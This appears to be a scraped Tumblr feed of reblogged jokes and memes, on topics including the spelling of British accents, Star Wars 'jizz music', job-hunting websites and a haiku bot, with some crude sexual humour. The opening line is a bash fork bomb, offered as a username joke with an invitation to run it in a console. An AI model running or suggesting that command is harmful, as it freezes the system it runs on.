:(){ :|:& };:

you should type my name into an unprotected bash console :)

[our-queer-experience]

ive been repeating this in my head all week. auntie likes wearing the strap…….

[fruitgushers]

a dead scene kid is trying to contact me through captcha

[f0rkb0mb]

Read this in demomans voice

[aokozaki]

I don't hate the "naur" thing so much as I hate that it's such an American way of spelling out the sound that's going on.

It's sort of like how the problem with "Brits say 'bottle of water' like it's 'bo'ow o' wo'er" as a punchline. It treats 'bottle of water' as the natural normal spelling for an American accent, the "correct" pronunciation, never mind that you could write theirs out as 'boddle o'wadder'.

Like, yeah, I'm aware that this is kind of a petty thing to be mad about, but while I can agree there's a rhotic R going on there, if you write it out as "naur" I'm gonna tell you to piss off, mate.

[contemptible-scoundrel]

[talking in private to a tgirl I saw being pulled around on a leash by an older woman] many moons ago I slew my master, and now I am beholden to no one. I would do the same for you, my friend.

[animentality]

[animentality]

[targetedknowledge]

[madeofklay]

I just had to draw them

[alexaloraetheris]

Face of a little guy who didn't think he was the problem either😂😂😂

[the-haiku-bot]

Face of a little

guy who didn’t think he was

the problem either😂😂😂

Beep boop! I look for accidental haiku posts. Sometimes I mess up.

[pukicho]

In this world it’s get killed or be killed

[beaniesandbells]

What’s doing the killing

[pukicho]

The Killer

[f0rkb0mb]

John kill

[oliviawhen]

Job hunting in a hostile environment. ✨

[ominous-signs]

yeah.

[organatwins]

Sibling asked how ppl in star wars dance to jizz music and I had to give her an example

[dickgirlsdaily]

[organatwins]

its literally not a typo,,,, thats what the genre of the music in the video is called in star wars canon

[dickgirlsdaily]

[only-cat-memes]

[my-dailydreams]

[dailycatsblog]

[shinylunarcat]

Something like Elioi? Aonor??

[superiordutchsauce]

Wise words.

[pokemonheritageposts]

Pokemon Heritage Post

[important-cat-pics]

[rickybabyboy]

world strongest

[a-wizard]

What do you mean you can’t find a job? Have you looked on Indeed? What about Linkedin? You should try Upwork. How about Rise? Have you tried Jobera? Take a look on Dribbble. You GOTTA be on Jooble, dude. Get on Jooble. Jooble has it for you.

[jackabbot]

[wiigiwaamcore]

Wait I have a real version of this

THOSE ARE ALL REAL WEBSITES